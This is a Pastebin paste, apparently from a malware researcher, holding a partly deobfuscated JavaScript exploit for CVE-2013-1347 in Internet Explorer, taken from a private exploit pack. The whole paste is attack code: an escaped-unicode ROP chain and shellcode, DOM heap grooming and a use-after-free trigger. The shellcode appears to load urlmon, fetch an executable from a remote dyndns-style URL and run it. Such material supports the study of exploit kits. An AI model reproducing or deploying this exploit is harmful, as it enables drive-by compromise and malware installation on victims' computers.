Advertisement
Kafeine

Private Exploit Pack - CVE-2013-1347 1st Deobfus Pass

Jul 4th, 2013
841
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.  
  2. XDzuERfRkhZjdQAcxx = unescape("ABCD");
  3. ayAQZZNvsGnIJvLIpP = unescape("EEEE");
  4. for (i=0; i < 2; i++)
  5. {
  6.     XDzuERfRkhZjdQAcxx += unescape("ABCD");
  7. }
  8.  
  9. XDzuERfRkhZjdQAcxx += unescape("AB");
  10.  
  11. var TUhLCHvfXvIVtfUtwt = "#19#uE844#19#u77C1#19#uE844#19#u77C1#19#uFA1C#19#u77C4#19#uFFFF#19#uFFFF#19#u27E5#19#u77C1#19#u27E5#19#u77C1#19#uE0DA#19#u77C4#19#u1467#19#u2CFE#19#uEB80#19#u77C4#19#u8FBC#19#u77C5#19#u4FCD#19#u77C3#19#u04A7#19#u2CFE#19#uEB80#19#u77C4#19#u4001#19#u77C1#19#u048A#19#u77C3#19#u7A42#19#u77C4#19#u6EFB#19#u77C4#19#uAACC#19#u77C2#19#uB860#19#u77C3#19#u110C#19#u77C1#19#u2DF9#19#u77C1#19#u5459#19#u77C3#19#uC481#19#uF254#19#uFFFF#19#u46EB#19#u315F#19#u83C9#19#u01E9#19#uFE89#19#uC030#19#u012C#19#uAEF2#19#u47FE#19#u89FF#19#u30FB#19#u2CC0#19#uF201#19#uFEAE#19#uFF47#19#uFD89#19#uAEF2#19#u47FE#19#uEBFF#19#u6071#19#uC931#19#u8B64#19#u3071#19#u768B#19#u8B0C#19#u1C76#19#u5E8B#19#u8B08#19#u2056#19#u368B#19#u3966#19#u184A#19#uF275#19#u5C89#19#u1C24#19#uC361#19#u5BEB#19#u8B60#19#u246C#19#u8B24#19#u3C45#19#u548B#19#u7805#19#uEA01#19#u4A8B#19#u8B18#19#u205A#19#uEB01#19#u34E3#19#u8B49#19#u8B34#19#uEE01#19#uFF31#19#uC031#19#uACFC#19#uC084#19#u0774#19#uCFC1#19#u0112#19#uEBC7#19#u3BF4#19#u247C#19#u7528#19#u8BE1#19#u245A#19#uEB01#19#u8B66#19#u4B0C#19#u5A8B#19#u011C#19#u8BEB#19#u8B04#19#uE801#19#u4489#19#u1C24#19#uC361#19#u54EB#19#uD231#19#u5252#19#u5553#19#uFF52#19#uEBD0#19#uEB1A#19#uE85D#19#uFF7B#19#uFFFF#19#uE7BA#19#u8BBA#19#u52C4#19#uE850#19#uFF92#19#uFFFF#19#uD231#19#uFF52#19#uEBD0#19#uE82D#19#uFF63#19#uFFFF#19#uAABA#19#u8A6E#19#u52F3#19#uE850#19#uFF7A#19#uFFFF#19#uD231#19#uC283#19#u83FF#19#uFAEA#19#u5352#19#uD0FF#19#uC9EB#19#u47BA#19#uC87D#19#u52A0#19#uE850#19#uFF60#19#uFFFF#19#uAEEB#19#u5DEB#19#u34E8#19#uFFFF#19#uBAFF#19#uCE12#19#u091A#19#u5052#19#u4BE8#19#uFFFF#19#u56FF#19#uD0FF#19#uDAEB#19#uF9E8#19#uFFFE#19#u75FF#19#u6C72#19#u6F6D#19#u2E6E#19#u6C64#19#uFF6C#19#u2E2E#19#u4B2F#19#u6C74#19#u4274#19#u6E35#19#u652E#19#u6578#19#u68FF#19#u7474#19#u3A70#19#u2F2F#19#u696A#19#u756D#19#u726A#19#u6D79#19#u656A#19#u7771#19#u642E#19#u6E79#19#u6E64#19#u2D73#19#u6572#19#u6F6D#19#u6574#19#u632E#19#u6D6F#19#u622F#19#u6F6C#19#u2F67#19#u6369#19#u6B61#19#u6E69#19#u6F73#19#u6665#19#u702E#19#u7068#19#u783F#19#u333D#19#u3435#19#u3137#19#u3932#19#u6926#19#u3D64#19#u3735#19#u3132#19#u3036#19#u3438#19#uCDFF#19#u0003";
  12.  
  13. var kJoLQbTZXfiMvJhcUj = unescape(TUhLCHvfXvIVtfUtwt.replaceAll('#19#', '%'));
  14.  
  15. XDzuERfRkhZjdQAcxx += kJoLQbTZXfiMvJhcUj;
  16.  
  17. HQOHLXdECxyyqRIfdZ = unescape("矄");
  18.  
  19. for (i = 0; i < 0x70/4; i++)
  20. {
  21.     if (i == 0x70/4-1)
  22.     {
  23.         HQOHLXdECxyyqRIfdZ += unescape("廕矁");
  24.     }
  25.     else
  26.     {
  27.         HQOHLXdECxyyqRIfdZ += unescape("矄");
  28.     }
  29. }
  30.  
  31. HQOHLXdECxyyqRIfdZ += XDzuERfRkhZjdQAcxx;
  32.  
  33. for (i = 0; i < 13; i++)
  34. {
  35.     HQOHLXdECxyyqRIfdZ += ";red";
  36. }
  37.  
  38. uwzebirWrYzMIjcXro = document.createElement('span');
  39. document.body.appendChild(uwzebirWrYzMIjcXro);
  40. MUtxSrvIJEomevjeaL = document.createElement('span');
  41. document.body.appendChild(MUtxSrvIJEomevjeaL);
  42. SRiEqhQyRtWJhQdaNv = document.createElement('span');
  43. document.body.appendChild(SRiEqhQyRtWJhQdaNv);
  44. document.body.contentEditable="true";
  45. SRiEqhQyRtWJhQdaNv.appendChild(document.createElement('datalist'));
  46. MUtxSrvIJEomevjeaL.appendChild(document.createElement('span'));
  47. MUtxSrvIJEomevjeaL.appendChild(document.createElement('table'));
  48.  
  49. try {
  50.     uwzebirWrYzMIjcXro.offsetParent=null;
  51. } catch(e) {}
  52.  
  53. SRiEqhQyRtWJhQdaNv.innerHTML="";
  54. uwzebirWrYzMIjcXro.appendChild(document.createElement('hr'));
  55. MUtxSrvIJEomevjeaL.innerHTML="";
  56.  
  57. CollectGarbage();
  58.  
  59. try {
  60.     ZJEcOsOsoyXPJkgroX = document.getElementById('XFWqzsAgJdHWZZgeBu');
  61.     ZJEcOsOsoyXPJkgroX.values = HQOHLXdECxyyqRIfdZ;
  62. } catch(e) {}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement